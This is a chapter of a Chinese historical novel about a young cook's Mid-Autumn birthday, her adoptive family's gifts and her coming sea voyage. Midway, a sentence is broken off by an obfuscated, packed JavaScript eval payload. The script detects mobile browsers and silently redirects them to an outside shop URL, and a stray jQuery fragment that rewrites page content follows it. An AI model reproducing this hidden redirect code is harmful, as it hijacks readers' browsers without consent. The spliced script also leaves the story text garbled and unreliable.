鸡鸣又起，远处天边薄雾苍茫，晨光未显，露湿霜重，草木尚在梦中。


    金鼎轩后院里，一滴露水从瓦沿儿落到了四勺后脖颈上。


    四勺刚从屋里迈出来，身上那件崭新靛蓝衫子浆洗得挺括，脚上的千层底布鞋是他娘熬了两晚赶出来的，底子纳得密，踩在地上，一点声儿也没有。


    可他这心里头，却是咚咚作响。


    李三一跟在后头，一张脸皱得紧，只拍了拍四勺的肩膀：“昨日嘱咐你的，都记牢了。进了宫，也由不得他胡来，万事多个心眼，总不能叫人欺负了。”


    四勺攥着衣裳，挤出一个干巴巴的“哎”，他不再耽搁，对着老太监躬身，踩着脚凳上了车马。


    马车轻轻一晃，一路碾过李府门前，又轱辘着向皇宫里的灶台而去。


    待天色澄明，秀秀从房里出来，心里念念有词：“鸭子得盯梢刷蜜......”


    刚随手带上房门，迎面被钊虹拦住去路。


    “这是急着去哪儿？”


    钊虹今日打扮得格外讲究，暗红褙子甚是喜庆，她稳当站在那几株肥美蟹爪菊旁，脸上带着明快笑意，朝秀秀问道。


    秀秀一愣，平日这个时辰，钊虹多半还在用早饭，二人鲜少见面。


    她规规矩矩解释：“干娘，我得去金鼎轩呀，今日师兄进宫去忙中秋宴，后厨缺了大梁，又是中秋，灶上事儿也多，前些时日，为了上船又多学好些菜式，我盘算着正好练练手呢！”


    钊虹睇她一眼，嗔笑道：“忙得连自个儿生辰都忘了？寿星姑娘？”


    秀秀一时迷离惝恍，怔了半晌，今日中秋，可不就是她生辰？多年不过生，今年竟忘得一干二净。


    “你这孩子，”钊虹见她这般模样，语气放得更软和，伸手替她捋了捋耳边碎发，“我已吩咐下去，今日晌午，咱们一家子好好吃顿饭，为你庆生。金鼎轩那边你莫要操心，少了你一个，还能转不动了？”


    说罢，她带着几分亲昵，点了点秀秀的额头：“今日，你什么活计都不许沾，就安安心心、舒舒服服地做你的寿星！”


    一番话轻飘飘落进秀秀耳朵里，她仍杵在原地，钊虹伸过手来推着她往屋里走：“傻闺女，还愣着作甚？快去，换身鲜亮体面的衣裳！今日过节又过生，可不能马虎了！”


    秀秀顺从回到房中，坐在镜前，翠鸾重新给她梳头。


    平日里，她这一头乌油油的头发，常梳成辫子，什么配饰也不戴，灶前干活最方便。只在她偶尔坐席赴宴时，首饰才得以重现天日，除非钊虹格外嘱托，大多时候，再重要的场合她也不过是簪上一支珍珠簪子。


    秀秀不好出风头，钊虹年初给她打了一套时兴的珠翠头面，首饰在锦盒里装着，赤金累丝，米珠海棠，样样都足够华美精致，但也显眼得很，故而她只在李聿的庆功宴上戴过一回。


    今日拉开最里头的抽屉，秀秀望着最深处的锦盒发愣。


    “姑娘今日是寿星，可不能太素净了，仔细夫人又说你。”翠鸾抿嘴一笑，不等秀秀开口，探过身去，摸到锦盒打开，给秀秀点缀发髻。


    秀秀下意识想阻拦：“翠鸾，这套首饰太过招摇，今日不戴了罢。”


    “姑娘习惯习惯就好啦！”红莺正从衣柜里拿出钊虹前几日刚给秀秀做的新衣裳来，语气轻快地朝秀秀说。


    翠鸾接话茬：“是呀，姑娘，这样好的首饰，可不能一直蒙尘。”


    秀秀抿抿唇，心里也是想戴的，见二人这般劝慰，她不再反驳抵抗，点点头，任由翠鸾给她打扮。


    片刻后，翠鸾退后两步，满意端量着：“瞧瞧，姑娘底子好，平日不打扮，看着素了些，今日这一打扮起来，跟画上人儿似的。”


    秀秀僵住脖子，对镜自照，抬手碰碰那冰凉珠串，朝着镜中的翠鸾笑笑。


    梳妆台靠窗，抬头便见园子里的蟹爪菊正霹雳绽放，齐紫金黄，一簇一簇挤在墨绿叶子里，艳丽张扬。


    花映镜影，浓墨重彩。


    不多时，三人笑语盈盈换好衣裳。秀秀身着一身藕荷色绣月桂的裙子，合身得体，衬得她愈发娇美婷匀，清新可爱。


    红莺笑道：“换了衣裳，哪还是画中人，我瞧着，分明是画中仙！”


    弹指已到晌午，花厅窗明几净，秀秀款步而来。


    李聿打趣道：“今日姐姐身姿鲜妍，实为光彩照人，怕是跟那月宫仙娥也难分伯仲，难怪姐姐生在中秋，原是沾了仙气儿！”


    钊虹笑骂，虚点他：“夫子若是知道你读了这些年的圣贤书，还这般油嘴滑舌，也得睁开眼瞧瞧你是何方神圣！”


    一番话说得大家都乐起来，小丫鬟在旁边一边布菜，一边低着头笑。


    圆桌上摆满丰盛菜肴，正中一道“花好月圆”的攒盘引人注目。中间是蟹粉虾膏和鸡胸脯调制的“圆月”，黄泽莹润，周围摆着焯熟的嫩菜心、雕花的红心水萝卜，别具匠心。


    除了这道压桌菜，还有金汤鲍鱼羹、松鼠桂鱼、桂花糯米藕、枸杞麦冬炖老鸽......


    而她面前，竟还有一碗长寿面。鸡汤底浮着嫣红火腿丝和翠绿芹菜丁，中间还窝着一个又滑又透的荷包蛋。


    虽说这大半年里秀秀在酒楼见识过不少山珍海味，可在她眼里，这顿饭比酒楼的菜式都要好，样样透着用心。


    钊虹在一旁提醒她：“秀秀，这第一口得留给长寿面，平平安安，长命百岁。”


    秀秀垂眼夹起面条，往嘴里放，面条入口爽滑，嚼起来带着韧劲儿，她琢磨着应是和面时加了蛋液。


    众人见她吞下第一口面条，这才开席。一顿饭吃得欢声笑语，其乐融融。


    饭毕，丫鬟撤下碗碟，一家人仍围坐着，给秀秀送礼。


    李三一神情郑重地从怀里掏出一个用粗布包着的册子，递给秀秀道：“丫头，拿着。”


    秀秀双手接过，掀开布，里面是一本册子，纸质已泛黄、边角却被摩挲得十分光滑，封面上并无题字。


    李三一缓缓道：“这是我老头子琢磨了一辈子，记下来的私房菜谱，当年我叫观复据我口述钞写了两本。”


    说到此处，他看一眼李守常，又把视线转到秀秀身上：“就连四勺，也是足足跟了我三年，才得了一份。如今你既要走这条路，便传给你另一本，好好看，好好学，莫要辜负了灶王爷赏的这口饭。”


    秀秀深知这本册子的分量，心头一热，捧着册子要给李三一跪下磕头，李三一连忙把人拉起来哈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840609|188039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哈大笑：“我不差你这个响头，你何时把本事都学到手，出徒了，那才是报答我！”


    秀秀面皮一热，站起来点头称是。


    又见李守常差小厮拿出一细长条木盒递给秀秀，他清了清嗓子，温和道：“听寅生说，你学字很是用功，如今已会写不少字，可光会写不行，还得写好才是。今日送你这支笔，拿去用罢。”


    秀秀道谢，钊虹在一旁轻叹道：“又把学堂里考校学生那套搬回家里来了。”接着又朝秀秀说，“秀秀，莫有压力，干娘写字最是难看，可没碍着我念书识理。”


    李守常被她说得有些讪讪，李聿见老爹吃瘪，笑嘻嘻地撺掇秀秀把笔拿出来看看。


    盒中是一支以青檀为杆、紫毫为尖的上等湖笔，就连李聿也没有这般成色的笔，他不由感叹一声，秀秀在他一边悄悄说：“寅生，请你来替我开笔如何？”


    李聿连忙点头，钊虹这厢便催促他拿出礼来，李聿转过去问：“娘，得您先送才是！快拿出来让我们开开眼？”


    钊虹故作神秘，摆摆手：“我的礼物，可不能给你们知道。待会儿我得偷偷给秀秀，谁也不能瞧见。”


    李聿无法，只好送出自己准备的，是一个光滑的小匣，他献宝似的推到秀秀面前：“姐姐快打开看看！”


    秀秀依言打开木匣，只见里面整整齐齐摆着几样小玩意儿，九连环，鲁班锁，几块软木和一套小巧刻刀，还有几束质地柔软的彩色丝线。


    李聿得意洋洋，解释道：“我想着，过不久姐姐就要上船南下，那海上一漂就是好些天，送些解闷儿的，路上无聊了，也好打发时间。”


    秀秀会心一笑，前几日，她去锅铺送月饼，叶文珠沉不住气儿，早就兴高采烈给她展露一番，一模一样的东西，不过文珠的匣子里还多了好些话本子。


    她展颜，明眸含笑，对李聿真心实意说道：“多谢寅生，这礼物送得很是和我心意，正是时候呢！”


    李聿被说得羞涩，众人说笑打趣，又叙了些家常闲话，便各自散了，回房歇晌。


    钊虹把秀秀留下，拉着到了内间。


    方才钊虹卖了个关子，秀秀亦被吊足胃口，她也想知道，钊虹要送她什么生辰礼。


    只见钊虹朝门外微微颔首，贴身大丫鬟黄鹂便端着一个红木托盘进来，上面盖着一方锦帕，看不出底下是何物。


    钊虹伸手掀开帕子，拿起一个符袋放进秀秀手中。这是一个绛色绸布仔细缝制的小小护身符。整个符袋做工极为精细，边缘用赤缇丝线锁了边，正面用金线绣着一个规整的“安”字，华丽却毫无陈俗之气。


    钊虹毫不掩饰自己的担忧，说道：“秀秀，这是我前些日子去云雾寺那月王殿前求来的平安符，回来又做了这个符袋装起来。


    “眼下离着登船的日子越来越近，我这心里头就越是没着没落的，慌得厉害。时常想着当初就该拦着你，可眼下说什么也是徒劳。


    “海上风波未可知，干娘帮不上你，给你求了这个符，叫月娘娘佑着你。这符，你务必贴身戴着，娘只求此行一帆风顺，逢凶化吉，无论如何，一定得平安归来。”


    秀秀握住钊虹的手，语气恳恳：“哎，是，我一定贴身戴着，一刻也不离身。”